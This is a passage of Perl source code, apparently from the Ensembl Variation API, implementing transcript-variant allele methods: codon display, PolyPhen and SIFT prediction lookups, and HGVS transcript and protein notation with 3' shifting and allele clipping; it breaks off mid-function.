=head2 display_codon Description: Return the codon sequence that this allele is predicted to result in with the affected nucleotides identified in UPPER CASE and other nucleotides in lower case Returntype : string or undef if this allele is not in the CDS or is a frameshift Exceptions : none Status : Stable =cut sub display_codon { my $self = shift; unless(exists($self->{_display_codon})) { # initialise so it doesn't get called again $self->{_display_codon} = undef; if(my $codon = $self->codon) { my $display_codon = lc $self->codon; if(my $codon_pos = $self->transcript_variation->codon_position) { # if this allele is an indel then just return all lowercase if ($self->feature_seq ne '-') { # codon_position is 1-based, while substr assumes the string starts at 0 my $pos = $codon_pos - 1; my $len = length $self->feature_seq; substr($display_codon, $pos, $len) = uc substr($display_codon, $pos, $len); } } $self->{_display_codon} = $display_codon; } } return $self->{_display_codon}; } =head2 polyphen_prediction Description: Return the qualitative PolyPhen-2 prediction for the effect of this allele. (Note that we currently only have PolyPhen predictions for variants that result in single amino acid substitutions in human) Returntype : string (one of 'probably damaging', 'possibly damaging', 'benign', 'unknown') if this is a non-synonymous mutation and a prediction is available, undef otherwise Exceptions : none Status : At Risk =cut sub polyphen_prediction { my ($self, $classifier, $polyphen_prediction) = @_; $classifier ||= 'humvar'; my $analysis = "polyphen_${classifier}"; $self->{$analysis}->{prediction} = $polyphen_prediction if $polyphen_prediction; unless ($self->{$analysis}->{prediction}) { my ($prediction, $score) = $self->_protein_function_prediction($analysis); $self->{$analysis}->{score} = $score; $self->{$analysis}->{prediction} = $prediction; } return $self->{$analysis}->{prediction}; } =head2 polyphen_score Description: Return the PolyPhen-2 probability that this allele is deleterious (Note that we currently only have PolyPhen predictions for variants that result in single amino acid substitutions in human) Returntype : float between 0 and 1 if this is a non-synonymous mutation and a prediction is available, undef otherwise Exceptions : none Status : At Risk =cut sub polyphen_score { my ($self, $classifier, $polyphen_score) = @_; $classifier ||= 'humvar'; my $analysis = "polyphen_${classifier}"; $self->{$analysis}->{score} = $polyphen_score if defined $polyphen_score; unless ($self->{$analysis}->{score}) { my ($prediction, $score) = $self->_protein_function_prediction($analysis); $self->{$analysis}->{score} = $score; $self->{$analysis}->{prediction} = $prediction; } return $self->{$analysis}->{score}; } =head2 sift_prediction Description: Return the qualitative SIFT prediction for the effect of this allele. (Note that we currently only have SIFT predictions for variants that result in single amino acid substitutions in human) Returntype : string (one of 'tolerated', 'deleterious') if this is a non-synonymous mutation and a prediction is available, undef otherwise Exceptions : none Status : At Risk =cut sub sift_prediction { my ($self, $sift_prediction) = @_; $self->{sift_prediction} = $sift_prediction if $sift_prediction; unless ($self->{sift_prediction}) { my ($prediction, $score) = $self->_protein_function_prediction('sift'); $self->{sift_score} = $score; $self->{sift_prediction} = $prediction unless $self->{sift_prediction}; } return $self->{sift_prediction}; } =head2 sift_score Description: Return the SIFT score for this allele (Note that we currently only have SIFT predictions for variants that result in single amino acid substitutions in human) Returntype : float between 0 and 1 if this is a non-synonymous mutation and a prediction is available, undef otherwise Exceptions : none Status : At Risk =cut sub sift_score { my ($self, $sift_score) = @_; $self->{sift_score} = $sift_score if defined $sift_score; unless ($self->{sift_score}) { my ($prediction, $score) = $self->_protein_function_prediction('sift'); $self->{sift_score} = $score; $self->{sift_prediction} = $prediction; } return $self->{sift_score}; } sub _protein_function_prediction { my ($self, $analysis) = @_; # we can only get results for variants that cause a single amino acid substitution, # so check the peptide allele string first if ($self->pep_allele_string && $self->pep_allele_string =~ /^[A-Z]\/[A-Z]$/ && defined $AA_LOOKUP->{$self->peptide}) { if (my $matrix = $self->transcript_variation->_protein_function_predictions($analysis)) { # temporary fix - check $matrix is not an empty hashref if(ref($matrix) && ref($matrix) eq 'Bio::EnsEMBL::Variation::ProteinFunctionPredictionMatrix') { my ($prediction, $score) = $matrix->get_prediction( $self->transcript_variation->translation_start, $self->peptide, ); return wantarray ? ($prediction, $score) : $prediction; } } } return undef; } =head2 hgvs_genomic Description: Return a string representing the genomic-level effect of this allele in HGVS format Returntype : string Exceptions : none Status : At Risk =cut sub hgvs_genomic { return _hgvs_generic(@_,'genomic'); } =head2 hgvs_transcript Description: Return a string representing the CDS-level effect of this allele in HGVS format Returntype : string or undef if this allele is not in the CDS Exceptions : none Status : At Risk =cut sub hgvs_transcript { my $self = shift; my $notation = shift; ##### set if string supplied $self->{hgvs_transcript} = $notation if defined $notation; ##### return if held return $self->{hgvs_transcript} if defined $self->{hgvs_transcript}; my $tv = $self->base_variation_feature_overlap; ### don't attempt to recalculate if field is NULL from DB return $self->{hgvs_transcript} if exists $self->{hgvs_transcript} && defined($tv->dbID); ### don't try to handle odd characters return undef if $self->variation_feature_seq() =~ m/[^ACGT\-]/ig; ### no result for reference allele return undef if $self->is_reference == 1; ### else evaluate my $tr = $tv->transcript; my $tr_stable_id = $tr->stable_id; my $vf = $tv->base_variation_feature; ### get reference sequence strand my $refseq_strand = $tr->strand(); my $var_name = $vf->variation_name(); if($DEBUG ==1){ print "\nHGVS transcript: Checking "; print " var_name $var_name " if defined $var_name ; print " refseq strand => $refseq_strand" if defined $refseq_strand; print " seq name : " . $tr_stable_id if defined $tr_stable_id ; print " var strand " . $vf->strand() if defined $vf->strand(); print " vf st " . $vf->strand() if defined $vf->strand() ; print " seqname: " . $vf->seqname() ." seq: " . $self->variation_feature_seq if defined $vf->seqname(); print "\n"; } my $hgvs_notation ; ### store components of HGVS string in hash ## create new transcript variation object as position may be different ## for most variants (SNPs etc) this will actually just return $self ## logic is neater this way though my $hgvs_tva = $self->_hgvs_tva($tr, $tv, $vf); ## return if a new transcript_variation_allele is not available - variation outside transcript return undef unless defined $hgvs_tva && defined $hgvs_tva->base_variation_feature_overlap; unless (defined $self->{_slice_start} ){ print "Exiting hgvs_transcript: no slice start position for $var_name in trans" . $tr_stable_id . "\n " if $DEBUG == 1 ; return undef; } ## this may be different to the input one for insertions/deletions my $variation_feature_sequence = $hgvs_tva->variation_feature_seq(); if($variation_feature_sequence && $vf->strand() != $refseq_strand) { reverse_comp(\$variation_feature_sequence) ; }; ### decide event type from HGVS nomenclature print "sending alt: $variation_feature_sequence & $self->{_slice_start} -> $self->{_slice_end} for formatting\n" if $DEBUG ==1; $hgvs_notation = hgvs_variant_notation( $variation_feature_sequence, ### alt_allele, $self->{_slice}->seq(), ### using this to extract ref allele $self->{_slice_start}, $self->{_slice_end}, "", "", $var_name ); ### This should not happen unless($hgvs_notation->{'type'}){ #warn "Error - not continuing; no HGVS annotation\n"; return undef; } ## check for the same bases in ref and alt strings before or after the variant $hgvs_notation = _clip_alleles($hgvs_notation) unless $hgvs_notation->{'type'} eq 'dup'; print "hgvs transcript type : " . $hgvs_notation->{'type'} . "\n" if $DEBUG == 1; print "Got type: " . $hgvs_notation->{'type'} ." $hgvs_notation->{'ref'} -> $hgvs_notation->{'alt'}\n" if $DEBUG == 1; ### create reference name - transcript name & seq version my $stable_id = $tr_stable_id; $stable_id .= "." . $tr->version() unless ($stable_id =~ /\.\d+$/ || $stable_id =~ /LRG/); ## no version required for LRG's $hgvs_notation->{'ref_name'} = $stable_id; ### get position relative to transcript features [use HGVS coords not variation feature coords due to dups] # avoid doing this twice if start and end are the same my $same_pos = $hgvs_notation->{start} == $hgvs_notation->{end}; $hgvs_notation->{start} = $hgvs_tva->_get_cDNA_position( $hgvs_notation->{start} ); $hgvs_notation->{end} = $same_pos ? $hgvs_notation->{start} : $hgvs_tva->_get_cDNA_position( $hgvs_notation->{end} ); return undef unless defined $hgvs_notation->{start} && defined $hgvs_notation->{end} ; # Make sure that start is always less than end my ($exon_start_coord, $intron_start_offset) = $hgvs_notation->{start} =~ m/(\-?[0-9]+)\+?(\-?[0-9]+)?/; my ($exon_end_coord, $intron_end_offset) = $same_pos ? ($exon_start_coord, $intron_start_offset) : $hgvs_notation->{end} =~ m/(\-?[0-9]+)\+?(\-?[0-9]+)?/; $intron_start_offset ||= 0; $intron_end_offset ||= 0; print "pre pos sort : $hgvs_notation->{start},$hgvs_notation->{end}\n" if $DEBUG ==1; ($hgvs_notation->{start},$hgvs_notation->{end}) = ($hgvs_notation->{end},$hgvs_notation->{start}) if ( (($exon_start_coord > $exon_end_coord) || ($exon_start_coord == $exon_end_coord && $intron_start_offset > $intron_end_offset) ) && $hgvs_notation->{end} !~/\*/ ); print "post pos sort: $hgvs_notation->{start},$hgvs_notation->{end}\n" if $DEBUG ==1; if($tr->cdna_coding_start()){ $hgvs_notation->{'numbering'} = "c"; ### set 'c' if transcript is coding } else{ $hgvs_notation->{'numbering'} = "n"; ### set 'n' if transcript non-coding } ### generic formatting print "pre-format $hgvs_notation->{alt}\n" if $DEBUG ==1; $self->{hgvs_transcript} = format_hgvs_string( $hgvs_notation); if($DEBUG ==1){ print "HGVS notation: " . $self->{hgvs_transcript} . " \n"; } return $self->{hgvs_transcript}; } =head2 hgvs_protein Description: Return a string representing the protein-level effect of this allele in HGVS format Returntype : string or undef if this allele is not in the CDS Exceptions : none Status : At Risk =cut sub hgvs_protein { my $self = shift; my $notation = shift; my $hgvs_notation; if($DEBUG == 1){ print "\nStarting hgvs_protein with "; print " var: " . $self->transcript_variation->variation_feature->variation_name() if defined $self->transcript_variation->variation_feature->variation_name() ; print " trans: " . $self->transcript_variation->transcript->display_id() if defined $self->transcript_variation->transcript->display_id() ; print "\n"; } ### set if string supplied $self->{hgvs_protein} = $notation if defined $notation; ### return if set return $self->{hgvs_protein} if defined $self->{hgvs_protein} ; ### don't attempt to recalculate if field is NULL from DB return $self->{hgvs_protein} if exists $self->{hgvs_protein} && defined($self->transcript_variation->dbID); ### don't try to handle odd characters return undef if $self->variation_feature_seq() =~ m/[^ACGT\-]/ig; ### no HGVS annotation for reference allele return undef if $self->is_reference(); print "checking pos with hgvs prot\n" if $DEBUG ==1; ## HGVS requires the variant be located in as 3' position as possible ## create new tva so position can be changed without impacting ensembl consequence my $hgvs_tva = $self->_hgvs_tva(); ## return if a new transcript_variation_allele is not available - variation outside transcript return undef unless defined $hgvs_tva; my $hgvs_tva_tv = $hgvs_tva->base_variation_feature_overlap; return undef unless defined $hgvs_tva_tv; my $hgvs_tva_vf = $hgvs_tva_tv->base_variation_feature; my $tr = $hgvs_tva_tv->transcript; my $pre = $hgvs_tva->_pre_consequence_predicates; ### no HGVS protein annotation for variants outside translated region unless ( $pre->{coding} && $hgvs_tva_tv->translation_start() && $hgvs_tva_tv->translation_end() ){ print "Exiting hgvs_protein - variant " . $hgvs_tva_vf->variation_name() . "not within translation\n" if $DEBUG == 1; return undef; } print "proceeding with hgvs prot\n" if $DEBUG == 1; print "Checking translation start: " . $hgvs_tva_tv->translation_start() ."\n" if $DEBUG == 1; ## checks complete - start building term ### get reference sequence and add seq version unless LRG $hgvs_notation->{ref_name} = $tr->translation->display_id(); $hgvs_notation->{ref_name} .= "." . $tr->translation->version() unless ($hgvs_notation->{ref_name}=~ /\.\d+$/ || $hgvs_notation->{ref_name} =~ /LRG/); $hgvs_notation->{'numbering'} = 'p'; ### get default reference location [changed later in some cases eg. duplication] $hgvs_notation->{start} = $hgvs_tva_tv->translation_start(); $hgvs_notation->{end} = $hgvs_tva_tv->translation_end(); ## get default reference & alt peptides [changed later to hgvs format] $hgvs_notation->{alt} = $hgvs_tva->peptide; $hgvs_notation->{ref} = $hgvs_tva_tv->get_reference_TranscriptVariationAllele->peptide; print "Got protein peps: $hgvs_notation->{ref} => $hgvs_notation->{alt} (" . $hgvs_tva->codon() .")\n" if $DEBUG ==1; if(defined $hgvs_notation->{alt} && defined $hgvs_notation->{ref} && ($hgvs_notation->{alt} ne $hgvs_notation->{ref})){ $hgvs_notation = _clip_alleles( $hgvs_notation); } #### define type - types are different for protein numbering $hgvs_notation = $hgvs_tva->_get_hgvs_protein_type($hgvs_notation); return undef unless defined $hgvs_notation->{type}; ##### Convert ref & alt peptides taking into account HGVS rules $hgvs_notation = $hgvs_tva->_get_hgvs_peptides($hgvs_notation); unless($hgvs_notation) { $self->{hgvs_protein} = undef; return undef; } ##### String formatting return $hgvs_tva->_get_hgvs_protein_format($hgvs_notation); } sub _hgvs_tva { my ($self, $tr, $tv, $vf) = @_; # return self if we've worked out we didn't need to create a new one return $self if $self->{_hgvs_tva_is_self}; if(!exists($self->{_hgvs_tva})) { $tv ||= $self->base_variation_feature_overlap; $vf ||= $tv->base_variation_feature; $tr ||= $tv->transcript; my $offset = 0; ## need to get ref seq from transcript slice my ($slice_start, $slice_end, $slice ) = $self->_var2transcript_slice_coords($tr, $tv, $vf); ## no annotation possible if variant outside transcript unless ($slice_start) { print "couldn't get slice pos for " .$vf->variation_name() . " " . $tr->display_id() . "\n" if $DEBUG ==1; $self->{_hgvs_tva} = undef; return $self->{_hgvs_tva}; } ## for readability my $var_class = $vf->var_class(); $var_class =~ s/somatic_//; ## only check insertions & deletions & don't move beyond transcript if( ($var_class eq 'deletion' || $var_class eq 'insertion' ) && $slice_start != $slice->length() && ( ( defined $tv->adaptor() && UNIVERSAL::can($tv->adaptor, 'isa') && $tv->adaptor->db ? $tv->adaptor->db->shift_hgvs_variants_3prime() == 1 : $Bio::EnsEMBL::Variation::DBSQL::TranscriptVariationAdaptor::DEFAULT_SHIFT_HGVS_VARIANTS_3PRIME == 1 ) ) ) { print "checking position for $var_class, transcript strand is : ". $tr->strand() ."\n" if $DEBUG ==1; my $ref_allele = $tv->get_reference_TranscriptVariationAllele->variation_feature_seq(); my $alt_allele = $self->variation_feature_seq(); my $seq_to_check; ## sequence to compare is the reference allele for deletion $seq_to_check = $ref_allele if $var_class eq 'deletion' ; ## sequence to compare is the alt allele $seq_to_check = $alt_allele if $var_class eq 'insertion'; my $allele_flipped = 0; ## switch allele to transcript strand if necessary if( ($vf->strand() < 0 && $tr->strand() > 0) || ($vf->strand() > 0 && $tr->strand() < 0) ) { reverse_comp(\$seq_to_check); $allele_flipped = 1; } ## get reference sequence 3' of variant (slice in transcript strand orientation my $from = $slice_end; my $post_seq = substr($slice->seq(), $from); my $checking_seq = substr( $post_seq , 0,20 ); print "getting seq: $from to transcript end ($checking_seq )\n" if $DEBUG ==1; ## run check my $allele; ( $allele, $offset ) = get_3prime_seq_offset($seq_to_check, $post_seq ); print "got allele & offset $allele, $offset length checked:". length($post_seq) ."\n" if $DEBUG ==1; ## correct allele for strand reverse_comp(\$allele) if $allele_flipped == 1; if($offset == length($post_seq) ){ ## moved beyond transcript - no annotation $self->{_hgvs_tva} = undef; return $self->{_hgvs_tva}; } elsif($offset > 0 ){ ## need to move - create new objects with correct position & alleles print "moving tva ($allele) by $offset for $var_class, seq checked was length " . length($post_seq) . "\n" if $DEBUG ==1; print "adding offset $offset to slice pos: $slice_start & $slice_end\n" if $DEBUG ==1; ## increment these & save later - offset positive as slice in transcript orientation $slice_start = $slice_start + $offset; $slice_end = $slice_end + $offset; ## define alleles for variation_feature $ref_allele = "-" if $var_class eq 'insertion'; $alt_allele = $allele if $var_class eq 'insertion'; $ref_allele = $allele if $var_class eq 'deletion'; $alt_allele = "-" if $var_class eq 'deletion'; ## make offset negative if rev strand $offset = 0 - $offset if $tr->strand() <0 ; print "sending $ref_allele/$alt_allele & offset:$offset to make_hgvs for $var_class\n" if $DEBUG == 1; $self->{_hgvs_tva} = $self->_make_hgvs_tva($ref_allele, $alt_allele, $offset) } else{ print "leaving position as input for $var_class after checking \n" if $DEBUG ==1; $self->{_hgvs_tva_is_self} = 1; } } else { print "leaving position as input for $var_class \n" if $DEBUG ==1; $self->{_hgvs_tva_is_self} = 1; } ## save this to be able to report when HGVS is shifted $self->{_hgvs_offset} = $offset; ## add cache of seq/ pos required by c, n and p $self->{_slice_start} = $slice_start; $self->{_slice_end} = $slice_end; $self->{_slice} = $slice; } return $self->{_hgvs_tva_is_self} ? $self : $self->{_hgvs_tva}; } =head2 hgvs_offset Description: Return the number of bases the variant was shifted 3' to defined the HGVS transcript annotation Returntype : int or undef if HGVS has not been calculated or shift not applied Exceptions : none Status : At risk =cut sub hgvs_offset { my $self = shift; return $self->{_hgvs_offset}; } sub _make_hgvs_tva { my $self = shift; my $ref_allele = shift; my $alt_allele = shift; my $offset = shift; my $allele_string = $ref_allele . "/" . $alt_allele; my $tv = $self->transcript_variation; my $vf = $tv->variation_feature; my $start = $vf->start() + $offset; my $end = $vf->end() + $offset; print "Starting make hgvs tva - vf at $start - $end $allele_string\n" if $DEBUG ==1; print "previous pos :". $vf->start() ."-" . $vf->end() ."\n" if $DEBUG ==1; my $moved_vf = Bio::EnsEMBL::Variation::VariationFeature->new_fast({ start => $start, end => $end, allele_string => $allele_string, strand => $vf->strand(), map_weight => $vf->map_weight(), # -adaptor => $self->transcript_variation->adaptor->db->get_VariationFeatureAdaptor(), variation_name => $vf->variation_name(), # variation => $vf->variation(), ## dont think we need variation, this was running a DB lookup!!! slice => $vf->slice() }); my $transcript = $self->transcript_variation->transcript(); my $moved_tv = Bio::EnsEMBL::Variation::TranscriptVariation->new( -transcript => $transcript, -variation_feature => $moved_vf, -no_ref_check => 1, -no_transfer => 1 ); my $hgvs_tva = Bio::EnsEMBL::Variation::TranscriptVariationAllele->new_fast( { transcript_variation => $moved_tv, variation_feature_seq => $alt_allele, is_reference => 0 }, 1 ); return $hgvs_tva; } ### HGVS: format protein string - runs on $self->{hgvs_tva} sub _get_hgvs_protein_format { my $self = shift; my $hgvs_notation = shift; ### all start with refseq name & numbering type $hgvs_notation->{'hgvs'} = $hgvs_notation->{'ref_name'} . ":" . $hgvs_notation->{'numbering'} . "."; ### New (v 15.11) way to describe synonymous changes if( $hgvs_notation->{ref} eq $hgvs_notation->{alt} && $hgvs_notation->{type} ne "fs" && $hgvs_notation->{type} ne "ins"){ return $hgvs_notation->{'hgvs'} . $hgvs_notation->{ref} . $hgvs_notation->{start} . "="; } ### handle stop_lost seperately regardless of cause by del/delins => p.TerposAA1extnum_AA_to_stop if(stop_lost($self) && ($hgvs_notation->{type} eq "del" || $hgvs_notation->{type} eq ">" )) { ### if deletion of stop add extTer and number of new aa to alt $hgvs_notation->{alt} = substr($hgvs_notation->{alt}, 0, 3); print "stop loss check req for $hgvs_notation->{type}\n" if $DEBUG ==1; my $aa_til_stop = $self->_stop_loss_extra_AA($hgvs_notation->{start}-1 ); ### use ? to show new stop not predicted $aa_til_stop = "?" unless defined $aa_til_stop ; $hgvs_notation->{alt} .= "extTer" . $aa_til_stop; $hgvs_notation->{'hgvs'} .= $hgvs_notation->{ref} . $hgvs_notation->{start} . $hgvs_notation->{alt} ; } elsif( $hgvs_notation->{type} eq "dup"){ if($hgvs_notation->{start} < $hgvs_notation->{end}){ ### list only first and last peptides in long duplicated string my $ref_pep_first = substr($hgvs_notation->{alt}, 0, 3); my $ref_pep_last = substr($hgvs_notation->{alt}, -3, 3); $hgvs_notation->{'hgvs'} .= $ref_pep_first . $hgvs_notation->{start} . "_" . $ref_pep_last . $hgvs_notation->{end} ."dup"; } else{ $hgvs_notation->{'hgvs'} .= $hgvs_notation->{alt} . $hgvs_notation->{start} . "dup" ; } print "formating a dup $hgvs_notation->{hgvs} \n" if $DEBUG==1; } elsif($hgvs_notation->{type} eq ">"){ #### substitution $hgvs_notation->{'hgvs'} .= $hgvs_notation->{ref}. $hgvs_notation->{start} . $hgvs_notation->{alt}; } elsif( $hgvs_notation->{type} eq "delins" || $hgvs_notation->{type} eq "ins" ){ $hgvs_notation->{alt} = "Ter" if $hgvs_notation->{alt} =~ /^Ter/; #### list first and last aa in reference only my $ref_pep_first = substr($hgvs_notation->{ref}, 0, 3); my $ref_pep_last; if(substr($hgvs_notation->{ref}, -1, 1) eq "X"){ $ref_pep_last ="Ter"; } else{ $ref_pep_last = substr($hgvs_notation->{ref}, -3, 3); } if($hgvs_notation->{ref} =~ /X$/) { ### For stops & add extX & distance to next stop to alt pep my $aa_til_stop = $self->_stop_loss_extra_AA( $hgvs_notation->{start}-1, "loss"); if(defined $aa_til_stop){ $hgvs_notation->{alt} .="extTer" . $aa_til_stop; } } if($hgvs_notation->{start} == $hgvs_notation->{end} && $hgvs_notation->{type} eq "delins"){ $hgvs_notation->{'hgvs'} .= $ref_pep_first . $hgvs_notation->{start} . $hgvs_notation->{type} . $hgvs_notation->{alt} ; } else{ ### correct ordering if needed if($hgvs_notation->{start} > $hgvs_notation->{end}){ ( $hgvs_notation->{start}, $hgvs_notation->{end}) = ($hgvs_notation->{end}, $hgvs_notation->{start} ); } $hgvs_notation->{'hgvs'} .= $ref_pep_first . $hgvs_notation->{start} . "_" . $ref_pep_last . $hgvs_notation->{end} . $hgvs_notation->{type} . $hgvs_notation->{alt} ; } } elsif($hgvs_notation->{type} eq "fs"){ if(defined $hgvs_notation->{alt} && $hgvs_notation->{alt} eq "Ter"){ ## stop gained ## describe as substitution if stop occurs immediately $hgvs_notation->{'hgvs'} .= $hgvs_notation->{ref} . $hgvs_notation->{start} . $hgvs_notation->{alt} ; } else{ ## not immediate stop - count aa until next stop my $aa_til_stop = $self->_stop_loss_extra_AA( $hgvs_notation->{start}-1, "fs"); ### use ? to show new stop not predicted $aa_til_stop = "?" unless defined $aa_til_stop; $hgvs_notation->{'hgvs'} .= $hgvs_notation->{ref} . $hgvs_notation->{start} . $hgvs_notation->{alt} ."fsTer$aa_til_stop"; } } elsif( $hgvs_notation->{type} eq "del"){ $hgvs_notation->{alt} = "del"; if( length($hgvs_notation->{ref}) >3 ){ my $ref_pep_first = substr($hgvs_notation->{ref}, 0, 3); my $ref_pep_last = substr($hgvs_notation->{ref}, -3, 3); $hgvs_notation->{'hgvs'} .= $ref_pep_first . $hgvs_notation->{start} . "_" . $ref_pep_last . $hgvs_notation->{end} .$hgvs_notation->{alt} ; } else{ $hgvs_notation->{'hgvs'} .= $hgvs_notation->{ref} . $hgvs_notation->{start} . $hgvs_notation->{alt} ; } } elsif($hgvs_notation->{start} ne $hgvs_notation->{end} ){ $hgvs_notation->{'hgvs'} .= $hgvs_notation->{ref} . $hgvs_notation->{start} . "_" . $hgvs_notation->{alt} . $hgvs_notation->{end} ; } else{ #### default to substitution $hgvs_notation->{'hgvs'} .= $hgvs_notation->{ref}. $hgvs_notation->{start} . $hgvs_notation->{alt}; } if($DEBUG==1){ print "Returning protein format: $hgvs_notation->{'hgvs'}\n";} return $hgvs_notation->{'hgvs'}; } ### HGVS: get type of variation event in protein terms sub _get_hgvs_protein_type { my $self = shift; my $hgvs_notation = shift; if($DEBUG==1){ print "starting get_hgvs_protein_type \n";} if( frameshift($self) ){ $hgvs_notation->{type} = "fs"; return $hgvs_notation; } if( defined $hgvs_notation->{ref} && defined $hgvs_notation->{alt} ){ ### Run type checks on peptides if available $hgvs_notation->{ref} =~ s/\*/X/; $hgvs_notation->{alt} =~ s/\*/X/; if($hgvs_notation->{ref} eq "-" || $hgvs_notation->{ref} eq "") { $hgvs_notation->{type} = "ins"; } elsif($hgvs_notation->{alt} eq "" || $hgvs_notation->{alt} eq "-") { $hgvs_notation->{type} = "del"; } elsif( length($hgvs_notation->{ref}) ==1 && length($hgvs_notation->{alt}) ==1 ) { $hgvs_notation->{type} = ">"; } elsif( ((length($hgvs_notation->{alt}) >0 && length($hgvs_notation->{ref}) >0) && (length($hgvs_notation->{alt}) ne length($hgvs_notation->{ref})) ) || (length($hgvs_notation->{alt}) >1 && length($hgvs_notation->{ref}) >1) ## not a substitution if >1 aa switched ) { $hgvs_notation->{type} = "delins"; } else{ $hgvs_notation->{type} = ">"; } } else { ### Cannot define type from peptides - check at DNA level ### get allele length from dna seq & cds length my ($ref_length, $alt_length ) = $self->_get_allele_length(); if($alt_length >1 ){ if($hgvs_notation->{start} == ($hgvs_notation->{end} + 1) ){ ### convention for insertions - end one less than start $hgvs_notation->{type} = "ins"; } elsif( $hgvs_notation->{start} != $hgvs_notation->{end} ){ $hgvs_notation->{type} = "delins"; } else{ $hgvs_notation->{type} = ">"; } } elsif($ref_length >1 ){ $hgvs_notation->{type} = "del"; } else{ #print STDERR "DEBUG ".$self->variation_feature->start."\n"; #warn "Cannot define protein variant type [$ref_length - $alt_length]\n"; } } return $hgvs_notation; } ### HGVS: get reference & alternative peptide sub _get_hgvs_peptides { my $self = shift; my $hgvs_notation = shift; if($hgvs_notation->{type} eq "fs"){ ### ensembl alt/ref peptides not the same as HGVS alt/ref - look up seperately $hgvs_notation = $self->_get_fs_peptides($hgvs_notation); return undef unless defined $hgvs_notation->{type}; } elsif($hgvs_notation->{type} eq "ins" ){ ### Check if bases directly after insertion match inserted sequence $hgvs_notation = $self->_check_peptides_post_var($hgvs_notation); ### Check that inserted bases do not duplicate 3' reference sequence [set to type = dup and return if so] $hgvs_notation = $self->_check_for_peptide_duplication($hgvs_notation) unless $hgvs_notation->{alt} =~/\*/; return ($hgvs_notation) if $hgvs_notation->{type} eq "dup"; ### HGVS ref are peptides flanking insertion my $min; if($hgvs_notation->{start} < $hgvs_notation->{end}){ $min = $hgvs_notation->{start}; } else{ $min = $hgvs_notation->{end};} $hgvs_notation->{ref} = $self->_get_surrounding_peptides( $min, $hgvs_notation->{original_ref}, 2 ); return undef unless $hgvs_notation->{ref}; } elsif($hgvs_notation->{type} eq "del" ){ ##check if bases directly after deletion match the deletion $hgvs_notation = $self->_check_peptides_post_var($hgvs_notation); } ### Convert peptide to 3 letter code as used in HGVS unless( $hgvs_notation->{ref} eq "-"){ $hgvs_notation->{ref} = Bio::SeqUtils->seq3(Bio::PrimarySeq->new(-seq => $hgvs_notation->{ref}, -id => 'ref', -alphabet => 'protein')) || ""; } if( $hgvs_notation->{alt} eq "-"){ $hgvs_notation->{alt} = "del"; } else{ $hgvs_notation->{alt} = Bio::SeqUtils->seq3(Bio::PrimarySeq->new(-seq => $hgvs_notation->{alt}, -id => 'ref', -alphabet => 'protein')) || ""; } ### handle special cases if( start_lost($self) ){ #### handle initiator loss -> probably no translation => alt allele is '?' $hgvs_notation->{alt} = "?"; $hgvs_notation->{type} = ""; } elsif( $hgvs_notation->{type} eq "del"){ if( $hgvs_notation->{ref} =~/\w+/){ $hgvs_notation->{alt} = "del"; } else{ $hgvs_notation = $self->_get_del_peptides($hgvs_notation); } } elsif($hgvs_notation->{type} eq "fs"){ ### only quote first ref peptide for frameshift $hgvs_notation->{ref} = substr($hgvs_notation->{ref},0,3); } ### 2012-08-31 - Ter now recommended in HGVS if(defined $hgvs_notation->{ref}){ $hgvs_notation->{ref} =~ s/Xaa/Ter/g; } if(defined $hgvs_notation->{alt}){ $hgvs_notation->{alt} =~ s/Xaa/Ter/g; } return ($hgvs_notation); } ### HGVS: remove common peptides/nucleotides from alt and ref strings & shift start/end accordingly sub _clip_alleles { my $hgvs_notation = shift; my $check_alt = $hgvs_notation->{alt}; my $check_ref = $hgvs_notation->{ref}; my $check_start = $hgvs_notation->{start}; my $check_end = $hgvs_notation->{end}; ## cache this - if stop needed later $hgvs_notation->{original_ref} = $hgvs_notation->{ref}; ## store identical trimmed seq my $preseq; print "can we clip : $check_ref & $check_alt\n" if $DEBUG ==1; ### strip same bases from start of string for (my $p =0; $p <length ($hgvs_notation->{ref}); $p++){ my $check_next_ref = substr( $check_ref, 0, 1); my $check_next_alt = substr( $check_alt, 0, 1); if( defined $hgvs_notation->{'numbering'} && $hgvs_notation->{'numbering'} eq 'p' && $check_next_ref eq "*" && $check_next_alt eq "*"){ ### stop re-created by variant - no protein change $hgvs_notation->{type} = "="; return($hgvs_notation); } if($check_next_ref eq $check_next_alt){ $check_start++; $check_ref = substr( $check_ref, 1); $check_alt = substr( $check_alt, 1); $preseq .= $check_next_ref; } else{ last; } } my $len = length ($check_ref); #### strip same bases from end of string for (my $q =0; $q < $len; $q++) { my $check_next_ref = substr( $check_ref, -1, 1); my $check_next_alt = substr( $check_alt, -1, 1); if($check_next_ref eq $check_next_alt){ chop $check_ref; chop $check_alt; $check_end--; } else{ last; } } ## ammend positions & ref/alt $hgvs_notation->{alt} = $check_alt; $hgvs_notation->{ref} = $check_ref; $hgvs_notation->{start} = $check_start; $hgvs_notation->{end} = $check_end; $hgvs_notation->{preseq} = $preseq ; ### check if clipping suggests a type change ## no protein change - use transcript level annotation $hgvs_notation->{type} = "=" if( defined $hgvs_notation->{'numbering'} && $hgvs_notation->{'numbering'} eq 'p' && $hgvs_notation->{alt} eq $hgvs_notation->{ref}); ### re-set as ins not delins $hgvs_notation->{type} ="ins" if(length ($check_ref) == 0 && length ($check_alt) >= 1); ### re-set as del not delins $hgvs_notation->{type} ="del" if(length ($check_ref) >=1 && length ($check_alt) == 0); print "clipped : $check_ref & $check_alt\n" if $DEBUG ==1; return $hgvs_notation; } #### HGVS: check allele lengths to look for frameshifts sub _get_allele_length { my $self = shift; my $ref_length = 0; my $alt_length = 0; my $al_string = $self->allele_string(); my $ref_allele = (split/\//, $al_string)[0]; $ref_allele =~ s/\-//; $ref_length = length $ref_allele; my $alt_allele = $self->variation_feature_seq(); $alt_allele =~ s/\-//; $alt_length = length $alt_allele; return ($ref_length, $alt_length ); } ### HGVS: list first different peptide [may not be first changed codon] sub _get_fs_peptides { my $self = shift; my $hgvs_notation = shift; ### get CDS with alt variant my $alt_cds = $self->_get_alternate_cds(); return undef unless defined($alt_cds); #### get new translation my $alt_trans = $alt_cds->translate()->seq(); ### get changed end (currently in single letter AA coding) my $ref_trans = $self->transcript_variation->_peptide; $ref_trans .= "*"; ## appending ref stop for checking purposes $hgvs_notation->{start} = $self->transcript_variation->translation_start() ; if( $hgvs_notation->{start} > length $alt_trans){ ## deletion of stop, no further AA in alt seq $hgvs_notation->{alt} = "del"; $hgvs_notation->{type} = "del"; return $hgvs_notation; } while ($hgvs_notation->{start} <= length $alt_trans){ ### frame shift may result in the same AA# $hgvs_notation->{ref} = substr($ref_trans, $hgvs_notation->{start}-1, 1); $hgvs_notation->{alt} = substr($alt_trans, $hgvs_notation->{start}-1, 1); if($hgvs_notation->{ref} eq "*" && $hgvs_notation->{alt} eq "*"){ ### variation at 